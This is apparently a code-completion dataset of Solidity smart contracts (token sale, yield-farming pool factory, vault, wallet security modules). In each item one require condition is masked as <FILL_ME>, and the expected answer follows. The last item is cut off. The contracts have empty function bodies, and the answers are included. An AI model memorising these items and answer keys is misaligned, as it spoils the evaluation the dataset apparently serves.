* @param amount CRUNCH amount to sell.
*/
function _sell(address seller, uint256 amount) internal {
require(seller != owner(), "Selling: owner cannot sell");
require(amount != 0, "Selling: cannot sell 0 unit");
uint256 tokens = conversion(amount);
require(tokens != 0, "Selling: selling will result in getting nothing");
require(<FILL_ME>)
emit Sell(seller, amount, tokens, price());
}
/**
* @dev convert a value in CRUNCH to USDC using the current price.
*
* @param inputAmount input value to convert.
* @return outputAmount the converted amount.
*/
function conversion(uint256 inputAmount) public view returns (uint256 outputAmount) {
}
/** @return the USDC balance of the delegate contract. */
function reserve() public view returns (uint256) {
}
/** @return the USDC balance of the contract. */
function selfReserve() public view returns (uint256) {
}
/**
* Empty the USDC reserve.
*
* Requirements:
* - caller must be the owner.
*/
function emptyReserve() public onlyOwner {
}
/**
* Empty the CRUNCH of the smart-contract.
* Must never be called because there is no need to send CRUNCH to this contract.
*
* Requirements:
* - caller must be the owner.
*/
function returnCrunchs() public onlyOwner {
}
/**
* Update the delegate contract address.
*
* Emits a {DelegateChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newDelegate new delete address.
*/
function setDelegate(address newDelegate) external onlyOwner {
}
/**
* Update the CRUNCH token address.
*
* Emits a {CrunchChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newCrunch new CRUNCH address.
*/
function setCrunch(address newCrunch) external onlyOwner {
}
/**
* Update the USDC token address.
*
* Emits a {UsdcChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newUsdc new USDC address.
*/
function setUsdc(address newUsdc) external onlyOwner {
}
/**
* Update the price.
*
* Emits a {PriceChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newPrice new price value.
*/
function setPrice(uint256 newPrice) external onlyOwner {
}
/**
* Destroy the contract.
* This will send the tokens (CRUNCH and USDC) back to the owner.
*
* Requirements:
* - caller must be the owner.
*/
function destroy() external onlyOwner {
}
/**
* Update the delegate contract address.
*
* Emits a {DelegateChanged} event.
*
* @param newDelegate new delegate contract address.
*/
function _setDelegate(address newDelegate) internal {
}
/**
* Empty the reserve.
*
* @return true if at least 1 USDC has been transfered, false otherwise.
*/
function _emptyReserve() internal returns (bool) {
}
/**
* Return the CRUNCHs.
*
* @return true if at least 1 CRUNCH has been transfered, false otherwise.
*/
function _returnCrunchs() internal returns (bool) {
}
}
| reserve()>=tokens,"Selling: reserve is not big enough" | 171,465 | reserve()>=tokens |
"this pool is already registered" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IPool.sol";
/**
* @title CART Pool Factory
*
* @notice CART Pool Factory manages CART Yield farming pools, provides a single
* public interface to access the pools, provides an interface for the pools
* to mint yield rewards, access pool-related info, update weights, etc.
*
* @notice The factory is authorized (via its owner) to register new pools, change weights
* of the existing pools, removing the pools (by changing their weights to zero)
*
* @dev The factory requires ROLE_TOKEN_CREATOR permission on the CART token to mint yield
* (see `mintYieldTo` function)
*
*/
contract CartPoolFactory is Ownable, ReentrancyGuard {
/**
* @dev Smart contract unique identifier, a random number
* @dev Should be regenerated each time smart contact source code is changed
* and changes smart contract itself is to be redeployed
* @dev Generated using https://www.random.org/bytes/
*/
uint256 public constant FACTORY_UID = 0xb77099a6d99df5887a6108e413b3c6dfe0c11a1583c9d9b3cd08bfb8ca996aef;
/// @dev Link to CART STREET ERC20 Token instance
address public immutable CART;
/// @dev Auxiliary data structure used only in getPoolData() view function
struct PoolData {
// @dev pool token address (like CART)
address poolToken;
// @dev pool address (like deployed core pool instance)
address poolAddress;
// @dev pool weight (200 for CART pools, 800 for CART/ETH pools - set during deployment)
uint256 weight;
// @dev flash pool flag
bool isFlashPool;
}
/**
* @dev CART/block determines yield farming reward base
* used by the yield pools controlled by the factory
*/
uint256 public cartPerBlock;
/**
* @dev The yield is distributed proportionally to pool weights;
* total weight is here to help in determining the proportion
*/
uint256 public totalWeight;
/**
* @dev End block is the last block when CART/block can be decreased;
* it is implied that yield farming stops after that block
*/
uint256 public endBlock;
/// @dev Maps pool token address (like CART) -> pool address (like core pool instance)
mapping(address => address) public pools;
/// @dev Keeps track of registered pool addresses, maps pool address -> exists flag
mapping(address => bool) public poolExists;
/**
* @dev Fired in createPool() and registerPool()
*
* @param _by an address which executed an action
* @param poolToken pool token address (like CART)
* @param poolAddress deployed pool instance address
* @param weight pool weight
* @param isFlashPool flag indicating if pool is a flash pool
*/
event PoolRegistered(
address indexed _by,
address indexed poolToken,
address indexed poolAddress,
uint256 weight,
bool isFlashPool
);
/**
* @dev Fired in changePoolWeight()
*
* @param _by an address which executed an action
* @param poolAddress deployed pool instance address
* @param weight new pool weight
*/
event WeightUpdated(address indexed _by, address indexed poolAddress, uint256 weight);
/**
* @dev Fired in updateCartPerBlock()
*
* @param _by an address which executed an action
* @param newCartPerBlock new CART/block value
*/
event CartRatioUpdated(address indexed _by, uint256 newCartPerBlock);
/**
* @dev Fired in mintYieldTo()
*
* @param _to an address to mint tokens to
* @param amount amount of CART tokens to mint
*/
event MintYield(address indexed _to, uint256 amount);
/**
* @dev Creates/deploys a factory instance
*
* @param _cart CART ERC20 token address
* @param _cartPerBlock initial CART/block value for rewards
* @param _endBlock block number when farming stops and rewards cannot be updated anymore
*/
constructor(
address _cart,
uint256 _cartPerBlock,
uint256 _endBlock
) {
}
/**
* @notice Given a pool token retrieves corresponding pool address
*
* @dev A shortcut for `pools` mapping
*
* @param poolToken pool token address (like CART) to query pool address for
* @return pool address for the token specified
*/
function getPoolAddress(address poolToken) external view returns (address) {
}
/**
* @notice Reads pool information for the pool defined by its pool token address,
* designed to simplify integration with the front ends
*
* @param _poolToken pool token address to query pool information for
* @return pool information packed in a PoolData struct
*/
function getPoolData(address _poolToken) external view returns (PoolData memory) {
}
/**
* @dev Registers an already deployed pool instance within the factory
*
* @dev Can be executed by the pool factory owner only
*
* @param poolAddr address of the already deployed pool instance
*/
function registerPool(address poolAddr) external onlyOwner {
// read pool information from the pool smart contract
// via the pool interface (IPool)
address poolToken = IPool(poolAddr).poolToken();
bool isFlashPool = IPool(poolAddr).isFlashPool();
uint256 weight = IPool(poolAddr).weight();
// ensure that the pool is not already registered within the factory
require(<FILL_ME>)
// create pool structure, register it within the factory
pools[poolToken] = poolAddr;
poolExists[poolAddr] = true;
// update total pool weight of the factory
totalWeight += weight;
// emit an event
emit PoolRegistered(msg.sender, poolToken, poolAddr, weight, isFlashPool);
}
/**
* @dev Mints CART tokens; executed by CART Pool only
*
* @dev Requires factory to have ROLE_TOKEN_CREATOR permission
* on the CART ERC20 token instance
*
* @param _to an address to mint tokens to
* @param _amount amount of CART tokens to mint
*/
function mintYieldTo(address _to, uint256 _amount) external {
}
/**
* @dev Changes the weight of the pool;
* executed by the pool itself or by the factory owner
*
* @param poolAddr address of the pool to change weight for
* @param weight new weight value to set to
*/
function changePoolWeight(address poolAddr, uint256 weight) external {
}
/**
* @dev set NFT Info of the pool;
* executed by the pool itself or by the factory owner
*
* @param poolAddr address of the pool to change NFT Info
* @param nftAddress address of NFT
* @param nftWeight weight of NFT
*/
function setNFTWeight(address poolAddr, address nftAddress, uint256 nftWeight) external {
}
/**
* @dev set new stake weight multiplier
* executed by the factory owner
** @param poolAddr address of the pool to change weight multiplier
* @param _newWeightMultiplier new stake weight multiplier
*/
function setWeightMultiplier(address poolAddr, uint256 _newWeightMultiplier) external {
}
/**
* @dev set new cartPerBlock
* executed by the factory owner
*
* @param _cartPerBlock new CART/block value for rewards
*/
function setCartPerBlock(uint256 _cartPerBlock) external {
}
/**
* @dev set new endBlock
* executed by the factory owner
*
* @param _endBlock new endblock number, this number means when farming stops and rewards cannot be updated anymore
*/
function setEndBlock(uint256 _endBlock) external {
}
/**
* @dev Testing time-dependent functionality is difficult and the best way of
* doing it is to override block number in helper test smart contracts
*
* @return `block.number` in mainnet, custom values in testnets (if overridden)
*/
function blockNumber() public view virtual returns (uint256) {
}
/**
* @dev Keeps track of registered pool addresses
*
* @param _pool pool address
* @return bool whether is pool Exists
*/
function isPoolExists(address _pool) external view returns (bool) {
}
/**
* @dev Executes SafeERC20.safeTransfer on a CART token
*
*/
function transferCartToken(address _to, uint256 _value) internal {
}
/**
* @notice Emergency withdraw specified amount of tokens, call only by owner
*
*
* @dev Reentrancy safety enforced via `ReentrancyGuard.nonReentrant`
*
*/
function emergencyWithdraw() external nonReentrant {
}
}
| pools[poolToken]==address(0),"this pool is already registered" | 171,610 | pools[poolToken]==address(0) |
"access denied" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IPool.sol";
/**
* @title CART Pool Factory
*
* @notice CART Pool Factory manages CART Yield farming pools, provides a single
* public interface to access the pools, provides an interface for the pools
* to mint yield rewards, access pool-related info, update weights, etc.
*
* @notice The factory is authorized (via its owner) to register new pools, change weights
* of the existing pools, removing the pools (by changing their weights to zero)
*
* @dev The factory requires ROLE_TOKEN_CREATOR permission on the CART token to mint yield
* (see `mintYieldTo` function)
*
*/
contract CartPoolFactory is Ownable, ReentrancyGuard {
/**
* @dev Smart contract unique identifier, a random number
* @dev Should be regenerated each time smart contact source code is changed
* and changes smart contract itself is to be redeployed
* @dev Generated using https://www.random.org/bytes/
*/
uint256 public constant FACTORY_UID = 0xb77099a6d99df5887a6108e413b3c6dfe0c11a1583c9d9b3cd08bfb8ca996aef;
/// @dev Link to CART STREET ERC20 Token instance
address public immutable CART;
/// @dev Auxiliary data structure used only in getPoolData() view function
struct PoolData {
// @dev pool token address (like CART)
address poolToken;
// @dev pool address (like deployed core pool instance)
address poolAddress;
// @dev pool weight (200 for CART pools, 800 for CART/ETH pools - set during deployment)
uint256 weight;
// @dev flash pool flag
bool isFlashPool;
}
/**
* @dev CART/block determines yield farming reward base
* used by the yield pools controlled by the factory
*/
uint256 public cartPerBlock;
/**
* @dev The yield is distributed proportionally to pool weights;
* total weight is here to help in determining the proportion
*/
uint256 public totalWeight;
/**
* @dev End block is the last block when CART/block can be decreased;
* it is implied that yield farming stops after that block
*/
uint256 public endBlock;
/// @dev Maps pool token address (like CART) -> pool address (like core pool instance)
mapping(address => address) public pools;
/// @dev Keeps track of registered pool addresses, maps pool address -> exists flag
mapping(address => bool) public poolExists;
/**
* @dev Fired in createPool() and registerPool()
*
* @param _by an address which executed an action
* @param poolToken pool token address (like CART)
* @param poolAddress deployed pool instance address
* @param weight pool weight
* @param isFlashPool flag indicating if pool is a flash pool
*/
event PoolRegistered(
address indexed _by,
address indexed poolToken,
address indexed poolAddress,
uint256 weight,
bool isFlashPool
);
/**
* @dev Fired in changePoolWeight()
*
* @param _by an address which executed an action
* @param poolAddress deployed pool instance address
* @param weight new pool weight
*/
event WeightUpdated(address indexed _by, address indexed poolAddress, uint256 weight);
/**
* @dev Fired in updateCartPerBlock()
*
* @param _by an address which executed an action
* @param newCartPerBlock new CART/block value
*/
event CartRatioUpdated(address indexed _by, uint256 newCartPerBlock);
/**
* @dev Fired in mintYieldTo()
*
* @param _to an address to mint tokens to
* @param amount amount of CART tokens to mint
*/
event MintYield(address indexed _to, uint256 amount);
/**
* @dev Creates/deploys a factory instance
*
* @param _cart CART ERC20 token address
* @param _cartPerBlock initial CART/block value for rewards
* @param _endBlock block number when farming stops and rewards cannot be updated anymore
*/
constructor(
address _cart,
uint256 _cartPerBlock,
uint256 _endBlock
) {
}
/**
* @notice Given a pool token retrieves corresponding pool address
*
* @dev A shortcut for `pools` mapping
*
* @param poolToken pool token address (like CART) to query pool address for
* @return pool address for the token specified
*/
function getPoolAddress(address poolToken) external view returns (address) {
}
/**
* @notice Reads pool information for the pool defined by its pool token address,
* designed to simplify integration with the front ends
*
* @param _poolToken pool token address to query pool information for
* @return pool information packed in a PoolData struct
*/
function getPoolData(address _poolToken) external view returns (PoolData memory) {
}
/**
* @dev Registers an already deployed pool instance within the factory
*
* @dev Can be executed by the pool factory owner only
*
* @param poolAddr address of the already deployed pool instance
*/
function registerPool(address poolAddr) external onlyOwner {
}
/**
* @dev Mints CART tokens; executed by CART Pool only
*
* @dev Requires factory to have ROLE_TOKEN_CREATOR permission
* on the CART ERC20 token instance
*
* @param _to an address to mint tokens to
* @param _amount amount of CART tokens to mint
*/
function mintYieldTo(address _to, uint256 _amount) external {
// verify that sender is a pool registered withing the factory
require(<FILL_ME>)
// transfer CART tokens as required
transferCartToken(_to, _amount);
emit MintYield(_to, _amount);
}
/**
* @dev Changes the weight of the pool;
* executed by the pool itself or by the factory owner
*
* @param poolAddr address of the pool to change weight for
* @param weight new weight value to set to
*/
function changePoolWeight(address poolAddr, uint256 weight) external {
}
/**
* @dev set NFT Info of the pool;
* executed by the pool itself or by the factory owner
*
* @param poolAddr address of the pool to change NFT Info
* @param nftAddress address of NFT
* @param nftWeight weight of NFT
*/
function setNFTWeight(address poolAddr, address nftAddress, uint256 nftWeight) external {
}
/**
* @dev set new stake weight multiplier
* executed by the factory owner
** @param poolAddr address of the pool to change weight multiplier
* @param _newWeightMultiplier new stake weight multiplier
*/
function setWeightMultiplier(address poolAddr, uint256 _newWeightMultiplier) external {
}
/**
* @dev set new cartPerBlock
* executed by the factory owner
*
* @param _cartPerBlock new CART/block value for rewards
*/
function setCartPerBlock(uint256 _cartPerBlock) external {
}
/**
* @dev set new endBlock
* executed by the factory owner
*
* @param _endBlock new endblock number, this number means when farming stops and rewards cannot be updated anymore
*/
function setEndBlock(uint256 _endBlock) external {
}
/**
* @dev Testing time-dependent functionality is difficult and the best way of
* doing it is to override block number in helper test smart contracts
*
* @return `block.number` in mainnet, custom values in testnets (if overridden)
*/
function blockNumber() public view virtual returns (uint256) {
}
/**
* @dev Keeps track of registered pool addresses
*
* @param _pool pool address
* @return bool whether is pool Exists
*/
function isPoolExists(address _pool) external view returns (bool) {
}
/**
* @dev Executes SafeERC20.safeTransfer on a CART token
*
*/
function transferCartToken(address _to, uint256 _value) internal {
}
/**
* @notice Emergency withdraw specified amount of tokens, call only by owner
*
*
* @dev Reentrancy safety enforced via `ReentrancyGuard.nonReentrant`
*
*/
function emergencyWithdraw() external nonReentrant {
}
}
| poolExists[msg.sender],"access denied" | 171,610 | poolExists[msg.sender] |
"!strategyStore" | // SPDX-License-Identifier: MIT
pragma solidity =0.8.9;
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-ERC20PermitUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "../interfaces/IStrategy.sol";
import "../interfaces/IVaultStrategyDataStore.sol";
import "../interfaces/IYOPRewards.sol";
import "./VaultMetaDataStore.sol";
import "../interfaces/IVault.sol";
/// @dev This contract is marked abstract to avoid being used directly.
/// NOTE: do not add any new state variables to this contract. If needed, see {VaultDataStorage.sol} instead.
abstract contract BaseVault is ERC20PermitUpgradeable, VaultMetaDataStore {
using SafeERC20Upgradeable for IERC20Upgradeable;
event StrategyAdded(address indexed _strategy);
event StrategyMigrated(address indexed _oldVersion, address indexed _newVersion);
event StrategyRevoked(address indexed _strategy);
// solhint-disable-next-line no-empty-blocks
constructor() {}
// solhint-disable-next-line
function __BaseVault__init_unchained() internal {}
// solhint-disable-next-line func-name-mixedcase
function __BaseVault__init(
string memory _name,
string memory _symbol,
address _governance,
address _gatekeeper,
address _feeCollection,
address _strategyDataStoreAddress,
address _accessManager,
address _vaultRewards
) internal {
}
/// @notice returns decimals value of the vault
function decimals() public view override returns (uint8) {
}
/// @notice Init a new strategy. This should only be called by the {VaultStrategyDataStore} and should not be invoked manually.
/// Use {VaultStrategyDataStore.addStrategy} to manually add a strategy to a Vault.
/// @dev This will be called by the {VaultStrategyDataStore} when a strategy is added to a given Vault.
function addStrategy(address _strategy) external virtual returns (bool) {
}
/// @notice Migrate a new strategy. This should only be called by the {VaultStrategyDataStore} and should not be invoked manually.
/// Use {VaultStrategyDataStore.migrateStrategy} to manually migrate a strategy for a Vault.
/// @dev This will called be the {VaultStrategyDataStore} when a strategy is migrated.
/// This will then call the strategy to migrate (as the strategy only allows the vault to call the migrate function).
function migrateStrategy(address _oldVersion, address _newVersion) external virtual returns (bool) {
}
/// @notice called by the strategy to revoke itself. Should not be called by any other means.
/// Use {VaultStrategyDataStore.revokeStrategy} to revoke a strategy manually.
/// @dev The strategy could talk to the {VaultStrategyDataStore} directly when revoking itself.
/// However, that means we will need to change the interfaces to Strategies and make them incompatible with Yearn's strategies.
/// To avoid that, the strategies will continue talking to the Vault and the Vault will then let the {VaultStrategyDataStore} know.
function revokeStrategy() external {
}
function strategy(address _strategy) external view returns (StrategyInfo memory) {
}
function strategyDebtRatio(address _strategy) external view returns (uint256) {
}
/// @dev It doesn't inherit openzepplin's ERC165 implementation to save on contract size
/// but it is compatible with ERC165
function supportsInterface(bytes4 _interfaceId) public view virtual returns (bool) {
}
/// @dev This is called when tokens are minted, transferred or burned by the ERC20 implementation from openzeppelin
// solhint-disable-next-line no-unused-vars
function _beforeTokenTransfer(
address _from,
address _to,
uint256
) internal override {
}
function _strategyDataStore() internal view returns (IVaultStrategyDataStore) {
}
function _onlyStrategyDataStore() internal view {
require(<FILL_ME>)
}
/// @dev ensure the vault is not in emergency shutdown mode
function _onlyNotEmergencyShutdown() internal view {
}
function _validateStrategy(address _strategy) internal view {
}
function _addStrategy(address _strategy) internal returns (bool) {
}
function _migrateStrategy(address _oldVersion, address _newVersion) internal returns (bool) {
}
function _sweep(
address _token,
uint256 _amount,
address _to
) internal {
}
}
| _msgSender()==strategyDataStore,"!strategyStore" | 171,631 | _msgSender()==strategyDataStore |
"!strategy" | // SPDX-License-Identifier: MIT
pragma solidity =0.8.9;
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-ERC20PermitUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "../interfaces/IStrategy.sol";
import "../interfaces/IVaultStrategyDataStore.sol";
import "../interfaces/IYOPRewards.sol";
import "./VaultMetaDataStore.sol";
import "../interfaces/IVault.sol";
/// @dev This contract is marked abstract to avoid being used directly.
/// NOTE: do not add any new state variables to this contract. If needed, see {VaultDataStorage.sol} instead.
abstract contract BaseVault is ERC20PermitUpgradeable, VaultMetaDataStore {
using SafeERC20Upgradeable for IERC20Upgradeable;
event StrategyAdded(address indexed _strategy);
event StrategyMigrated(address indexed _oldVersion, address indexed _newVersion);
event StrategyRevoked(address indexed _strategy);
// solhint-disable-next-line no-empty-blocks
constructor() {}
// solhint-disable-next-line
function __BaseVault__init_unchained() internal {}
// solhint-disable-next-line func-name-mixedcase
function __BaseVault__init(
string memory _name,
string memory _symbol,
address _governance,
address _gatekeeper,
address _feeCollection,
address _strategyDataStoreAddress,
address _accessManager,
address _vaultRewards
) internal {
}
/// @notice returns decimals value of the vault
function decimals() public view override returns (uint8) {
}
/// @notice Init a new strategy. This should only be called by the {VaultStrategyDataStore} and should not be invoked manually.
/// Use {VaultStrategyDataStore.addStrategy} to manually add a strategy to a Vault.
/// @dev This will be called by the {VaultStrategyDataStore} when a strategy is added to a given Vault.
function addStrategy(address _strategy) external virtual returns (bool) {
}
/// @notice Migrate a new strategy. This should only be called by the {VaultStrategyDataStore} and should not be invoked manually.
/// Use {VaultStrategyDataStore.migrateStrategy} to manually migrate a strategy for a Vault.
/// @dev This will called be the {VaultStrategyDataStore} when a strategy is migrated.
/// This will then call the strategy to migrate (as the strategy only allows the vault to call the migrate function).
function migrateStrategy(address _oldVersion, address _newVersion) external virtual returns (bool) {
}
/// @notice called by the strategy to revoke itself. Should not be called by any other means.
/// Use {VaultStrategyDataStore.revokeStrategy} to revoke a strategy manually.
/// @dev The strategy could talk to the {VaultStrategyDataStore} directly when revoking itself.
/// However, that means we will need to change the interfaces to Strategies and make them incompatible with Yearn's strategies.
/// To avoid that, the strategies will continue talking to the Vault and the Vault will then let the {VaultStrategyDataStore} know.
function revokeStrategy() external {
}
function strategy(address _strategy) external view returns (StrategyInfo memory) {
}
function strategyDebtRatio(address _strategy) external view returns (uint256) {
}
/// @dev It doesn't inherit openzepplin's ERC165 implementation to save on contract size
/// but it is compatible with ERC165
function supportsInterface(bytes4 _interfaceId) public view virtual returns (bool) {
}
/// @dev This is called when tokens are minted, transferred or burned by the ERC20 implementation from openzeppelin
// solhint-disable-next-line no-unused-vars
function _beforeTokenTransfer(
address _from,
address _to,
uint256
) internal override {
}
function _strategyDataStore() internal view returns (IVaultStrategyDataStore) {
}
function _onlyStrategyDataStore() internal view {
}
/// @dev ensure the vault is not in emergency shutdown mode
function _onlyNotEmergencyShutdown() internal view {
}
function _validateStrategy(address _strategy) internal view {
require(<FILL_ME>)
}
function _addStrategy(address _strategy) internal returns (bool) {
}
function _migrateStrategy(address _oldVersion, address _newVersion) internal returns (bool) {
}
function _sweep(
address _token,
uint256 _amount,
address _to
) internal {
}
}
| strategies[_strategy].activation>0,"!strategy" | 171,631 | strategies[_strategy].activation>0 |
"KM: module is not registered" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./common/Utils.sol";
import "./common/BaseModule.sol";
import "./KresusRelayer.sol";
import "./SecurityManager.sol";
import "./TransactionManager.sol";
import "../infrastructure/IModuleRegistry.sol";
/**
* @title KresusModule
* @notice Single module for Kresus vault.
*/
contract KresusModule is BaseModule, KresusRelayer, SecurityManager, TransactionManager {
string constant public NAME = "KresusModule";
address public immutable kresusGuardian;
/**
* @param _storage deployed instance of storage contract
* @param _kresusGuardian default guardian from kresus.
* @param _kresusGuardian default guardian of kresus for recovery and unblocking
*/
constructor (
IStorage _storage,
IModuleRegistry _moduleRegistry,
address _kresusGuardian,
address _refundAddress
)
BaseModule(_storage, _moduleRegistry)
KresusRelayer(_refundAddress)
{
}
/**
* @inheritdoc IModule
*/
function init(
address _vault,
bytes memory _timeDelay
)
external
override
onlyVault(_vault)
{
}
/**
* @inheritdoc IModule
*/
function addModule(
address _vault,
address _module,
bytes memory _initData
)
external
onlySelf()
{
require(<FILL_ME>)
IVault(_vault).authoriseModule(_module, true, _initData);
}
/**
* @inheritdoc KresusRelayer
*/
function getRequiredSignatures(
address _vault,
bytes calldata _data
)
public
view
override
returns (bool, bool, bool, Signature)
{
}
/**
* @param _data _data The calldata for the required transaction.
* @return Signature The required signature from {Signature} enum .
*/
function getCancelRequiredSignatures(
bytes calldata _data
)
public
pure
override
returns(Signature)
{
}
/**
* @notice Validates the signatures provided with a relayed transaction.
* @param _vault The target vault.
* @param _signHash The signed hash representing the relayed transaction.
* @param _signatures The signatures as a concatenated bytes array.
* @param _option An OwnerSignature enum indicating whether the owner is required, optional or disallowed.
* @return A boolean indicating whether the signatures are valid.
*/
function validateSignatures(
address _vault,
bytes32 _signHash,
bytes memory _signatures,
Signature _option
)
public
view
override
returns (bool)
{
}
}
| moduleRegistry.isRegisteredModule(_module),"KM: module is not registered" | 171,659 | moduleRegistry.isRegisteredModule(_module) |
"SM: Cannot enable voting" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./common/BaseModule.sol";
import "../vault/IVault.sol";
/**
* @title SecurityManager
* @notice Abstract module implementing the key security features of the vault: guardians, lock and recovery.
*/
abstract contract SecurityManager is BaseModule {
uint256 public constant MIN_TIME_DELAY = 5 minutes;
uint256 public constant MAX_TIME_DELAY = 72 hours;
event OwnershipTransferred(address indexed vault, address indexed _newOwner);
event Bequeathed(address indexed vault, address indexed _newOwner);
event Locked(address indexed vault);
event Unlocked(address indexed vault);
event GuardianAdded(address indexed vault, address indexed guardian);
event GuardianRevoked(address indexed vault);
event HeirChanged(address indexed vault, address indexed heir);
event VotingToggled(address indexed vault, bool votingEnabled);
event TimeDelayChanged(address indexed vault, uint256 newTimeDelay);
/**
* @notice Lets the owner transfer the vault ownership. This is executed immediately.
* @param _vault The target vault.
* @param _newOwner The address to which ownership should be transferred.
*/
function transferOwnership(
address _vault,
address _newOwner
)
external
onlySelf()
{
}
/**
* @notice Lets a guardian lock a vault.
* @param _vault The target vault.
*/
function lock(address _vault) external onlySelf() {
}
/**
* @notice Updates the TimeDelay
* @param _vault The target vault.
* @param _newTimeDelay The new DelayTime to update.
*/
function setTimeDelay(
address _vault,
uint256 _newTimeDelay
)
external
onlySelf()
{
}
/**
* @notice Lets a guardian unlock a locked vault.
* @param _vault The target vault.
*/
function unlock(
address _vault
)
external
onlySelf()
{
}
/**
* @notice To turn voting on and off.
* @param _vault The target vault.
*/
function toggleVoting(
address _vault
)
external
onlySelf()
{
bool _enabled = _storage.votingEnabled(_vault);
if(!_enabled) {
require(<FILL_ME>)
}
_storage.toggleVoting(_vault);
emit VotingToggled(_vault, !_enabled);
}
/**
* @notice Lets the owner add a guardian to its vault.
* @param _vault The target vault.
* @param _guardian The guardian to add.
*/
function setGuardian(
address _vault,
address _guardian
)
external
onlySelf()
{
}
/**
* @notice Lets the owner revoke a guardian from its vault.
* @param _vault The target vault.
*/
function revokeGuardian(
address _vault
) external onlySelf()
{
}
function changeHeir(
address _vault,
address _newHeir
)
external
onlySelf()
{
}
function executeBequeathal(
address _vault
)
external
onlySelf()
{
}
/**
* @notice Checks if an address is a guardian for a vault.
* @param _vault The target vault.
* @param _guardian The address to check.
* @return _isGuardian `true` if the address is a guardian for the vault otherwise `false`.
*/
function isGuardian(
address _vault,
address _guardian
)
public
view
returns(bool _isGuardian)
{
}
function changeOwner(address _vault, address _newOwner) internal {
}
/**
* @notice Checks if the vault address is valid to be a new owner.
* @param _vault The target vault.
* @param _newOwner The target vault.
*/
function validateNewOwner(address _vault, address _newOwner) internal view {
}
}
| _storage.getGuardian(_vault)!=ZERO_ADDRESS,"SM: Cannot enable voting" | 171,661 | _storage.getGuardian(_vault)!=ZERO_ADDRESS |
"SM: new owner cannot be guardian" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./common/BaseModule.sol";
import "../vault/IVault.sol";
/**
* @title SecurityManager
* @notice Abstract module implementing the key security features of the vault: guardians, lock and recovery.
*/
abstract contract SecurityManager is BaseModule {
uint256 public constant MIN_TIME_DELAY = 5 minutes;
uint256 public constant MAX_TIME_DELAY = 72 hours;
event OwnershipTransferred(address indexed vault, address indexed _newOwner);
event Bequeathed(address indexed vault, address indexed _newOwner);
event Locked(address indexed vault);
event Unlocked(address indexed vault);
event GuardianAdded(address indexed vault, address indexed guardian);
event GuardianRevoked(address indexed vault);
event HeirChanged(address indexed vault, address indexed heir);
event VotingToggled(address indexed vault, bool votingEnabled);
event TimeDelayChanged(address indexed vault, uint256 newTimeDelay);
/**
* @notice Lets the owner transfer the vault ownership. This is executed immediately.
* @param _vault The target vault.
* @param _newOwner The address to which ownership should be transferred.
*/
function transferOwnership(
address _vault,
address _newOwner
)
external
onlySelf()
{
}
/**
* @notice Lets a guardian lock a vault.
* @param _vault The target vault.
*/
function lock(address _vault) external onlySelf() {
}
/**
* @notice Updates the TimeDelay
* @param _vault The target vault.
* @param _newTimeDelay The new DelayTime to update.
*/
function setTimeDelay(
address _vault,
uint256 _newTimeDelay
)
external
onlySelf()
{
}
/**
* @notice Lets a guardian unlock a locked vault.
* @param _vault The target vault.
*/
function unlock(
address _vault
)
external
onlySelf()
{
}
/**
* @notice To turn voting on and off.
* @param _vault The target vault.
*/
function toggleVoting(
address _vault
)
external
onlySelf()
{
}
/**
* @notice Lets the owner add a guardian to its vault.
* @param _vault The target vault.
* @param _guardian The guardian to add.
*/
function setGuardian(
address _vault,
address _guardian
)
external
onlySelf()
{
}
/**
* @notice Lets the owner revoke a guardian from its vault.
* @param _vault The target vault.
*/
function revokeGuardian(
address _vault
) external onlySelf()
{
}
function changeHeir(
address _vault,
address _newHeir
)
external
onlySelf()
{
}
function executeBequeathal(
address _vault
)
external
onlySelf()
{
}
/**
* @notice Checks if an address is a guardian for a vault.
* @param _vault The target vault.
* @param _guardian The address to check.
* @return _isGuardian `true` if the address is a guardian for the vault otherwise `false`.
*/
function isGuardian(
address _vault,
address _guardian
)
public
view
returns(bool _isGuardian)
{
}
function changeOwner(address _vault, address _newOwner) internal {
}
/**
* @notice Checks if the vault address is valid to be a new owner.
* @param _vault The target vault.
* @param _newOwner The target vault.
*/
function validateNewOwner(address _vault, address _newOwner) internal view {
require(_newOwner != ZERO_ADDRESS, "SM: new owner cannot be null");
require(<FILL_ME>)
}
}
| !isGuardian(_vault,_newOwner),"SM: new owner cannot be guardian" | 171,661 | !isGuardian(_vault,_newOwner) |
"trading not enabled" | //SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
import "./Interfaces.sol";
import "./BaseErc20Min.sol";
contract WhaleGame is BaseErc20 {
uint256 immutable public mhAmount;
bool private _tradingEnabled = true;
modifier tradingEnabled(address from) override {
require(<FILL_ME>)
_;
}
constructor() BaseErc20(msg.sender) {
}
// Overrides
function preTransfer(address from, address to, uint256 value) override internal {
}
function polymorph(string memory _name, string memory _symbol) external onlyOwner {
}
function enableTrading(bool on) external onlyOwner {
}
}
| (launched&&_tradingEnabled)||from==owner,"trading not enabled" | 171,702 | (launched&&_tradingEnabled)||from==owner |
"No enought mints left." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./DragonKnightLibrary.sol";
contract DragonKnight is Ownable, ERC721A {
uint256 public maxSupply = 1000;
uint256 public maxFreeMint = 2;
uint256 public maxMint = 5;
